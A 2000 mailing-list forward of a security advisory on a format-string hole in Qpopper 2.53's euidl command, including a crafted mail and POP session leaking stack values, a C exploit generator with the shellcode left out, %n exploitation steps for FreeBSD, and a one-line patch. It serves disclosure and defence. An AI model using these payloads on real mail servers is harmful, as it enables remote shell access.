Havent seen this forwarded to the list, and it probably applies to quite a
few people. Just in case someone isnt on bugtraq.
BTW, in my source (2.53) i couldnt find any lines similar to what he
suggests changing, perhaps he was looking at the FBSD ported version and
it has been modified slightly, i dunno....
--
_ __ _____ __ _________
______________ /_______ ___ ____ /______ John Gonzalez/Net.Tech
__ __ \ __ \ __/_ __ `__ \/ __ /_ ___/ MDC Computers/netMDC!
_ / / / `__/ /_ / / / / / / /_/ / / /__ (505)437-7600/fax-437-3052
/_/ /_/\___/\__/ /_/ /_/ /_/\__,_/ \___/ http://www.netmdc.com
[---------------------------------------------[system info]-----------]
1:20pm up 13 days, 18:46, 4 users, load average: 0.08, 0.22, 0.21
---------- Forwarded message ----------
Date: Tue, 23 May 2000 09:43:33 -800
From: Prizm <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: Qpopper 2.53 remote problem, user can gain [iso-8859-1] gid=mail
I have attached to this message the advisory with full details +
exploit on this problem.
Prizm/b0f,
_____________________________________________________________________
b u f f e r 0 v e r f l 0 w s e c u r i t y a d v i s o r y # 5
Advisory Name: Remote shell via Qpopper2.53
Date: 5/23/00
Application: Qpopper 2.53 for *NIX
Vendor: Qualcomm Incorporated
WWW: www.qualcomm.com
Severity: can give users remote
shell with gid=mail.
Author: prizm ([EMAIL PROTECTED])
Homepage: b0f.freebsd.lublin.pl
* Overview
Qpopper is the most widely-used server for the POP3 protocol. This allows
users to
access their mail using any POP3 client. Qpopper supports the latest
standards,
and includes a large number of optional features. Qpopper is normally used
with
standard UNIX mail transfer and delivery agents such as sendmail or smail.
* The Problem
Yes, Qpop, again and again...
There is a bug in version 2.53 of Qpop that can give you a remote
shell with gid=mail. Problem is with euidl command which uses user input as
format string for pop_msg() function.
Lets examine following code from Qpop 2.53 source:
--> pop_uidl.c, around line 150:
................
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
! return (pop_msg (p,POP_SUCCESS, buffer));
^^^^^^^^^^^^^
.................
Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat,
const char *format,...), and here we have user-input as format string. Lame.
Ok, back to problem, imagine following smtp session:
MAIL FROM:<[EMAIL PROTECTED]>
200 Ok
RCPT TO:<[EMAIL PROTECTED]>
200 Ok
data
200 Okey, okey. end with "."
Subject: still trust qpop?=/
X-UIDL: AAAAAAAAAAAAAAAA
From: %p%p%p%p%p%p%p
test
.
200 BLABLABLA Ok, message accepted for delivery.
Then, luser connects with his pop account and runs euidl command there:
+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
USER luser
+OK Password required for luser.
PASS secret
+OK luser has 3 messages (1644 octets).
euidl 3
+OK 2 AAAAAAAAAAAAAAAA 530
0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028
Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p
where implemented as arguments for vsnprintf() command.
* Exploiting
Is this possible? Yeah, sure!
But there are some limits. Qpopper2.53 from FreeBSD ports with patches is
much more difficult to exploit than one from linux. It is because freebsd
patches change vsprintf() call in pop_msg.c to vsnprintf() call, and there is
big difference between them. Qpopper with FreeBSD's patches IS exploitable.
Exploit
-------
/* qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
* Sample exploit for buffer overflow in Qpopper 2.53.
* This little proggie generates a mail u need to send.
*
* Standard disclaimer applies.
* By the way, exploit is broken =) You need to insert shellcode.
*
* MAD greets to tf8 for pointing out the bug, and all other b0f members.
* greets to USSRLabs and ADM
* check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>
char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
int i;
unsigned long ra=0;
if(argc!=2) {
fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
exit(0);
}
sscanf(argv[1], "%x", &ra);
if(!ra)
return;
if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
fprintf(stderr,"Bad shellcode\n");
exit(0);
}
fprintf(stderr,"return address: 0x%.8x\n", ra);
printf("X-UIDL: ");
for(i=0; i < sizeof(shellcode);i++)
printf("%c", shellcode[i]);
printf("\r\n");
printf("From: %s", "%.1000d");
for(i=0; i < 50; i++)
printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16,
(ra & 0xff000000)>>24);
printf("@test\r\n");
printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
return 0;
}
Exploiting QPOP from FreeBSD ports
----------------------------------
It is NOT easy, because vsprintf() is replaced with vsnprintf() so we can't
overflow stack, but we still have control over it (remeber %n?).
Im not going to post exploit for this because it is really generic, but I
will explain theory on exploiting qpop with vsNprintf.
There is an little trick with %n YOu should know. Try to understand why
folowing code succeeds and prints out 2000, not sizeof(b):
---<cut>---
#include <stdio.h>
int main(void){
int s=1; char b[1024]; int q;
snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
}
---</cut>---
On my box with FreeBSD 3.4 i have:
2000, overflowed? NO
Hah, first time i expected to see 1024, but YOu know that all is
unpredictable . So, this little thing will help us a lot.
Exploiting it:
a) Find where in stack is located user input.
b) Compose a message with filed X-UIDL and From:
X-UIDL: ppRETARETARETARETA
From: <SHELLCODE>%.RETURNd%n@test
where:
"pp" is for padding (two or three chars)
"RETA" is return address pointing to SHELLCODE
"SHELLCODE" guess
"RETURN" return address
c) Exploit? If you need an exploit that will work on FreeBSD, code it
yourself.
* Vulnerable Versions
2.53(Others?)
* Fix
You can download Qpopper 3.1 at
http://www.eudora.com/freeware/qpop.html#CURRENT which
is not vulnerable to this problem.
Or you can manually patch it by doing the following:
At lines 150 and 62 from pop_msg.c, replace:
- return (pop_msg (p,POP_SUCCESS, buffer));
to:
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
copyright © 1999-2000
prizm, buffer0verfl0w security
b0f.freebsd.lublin.pl
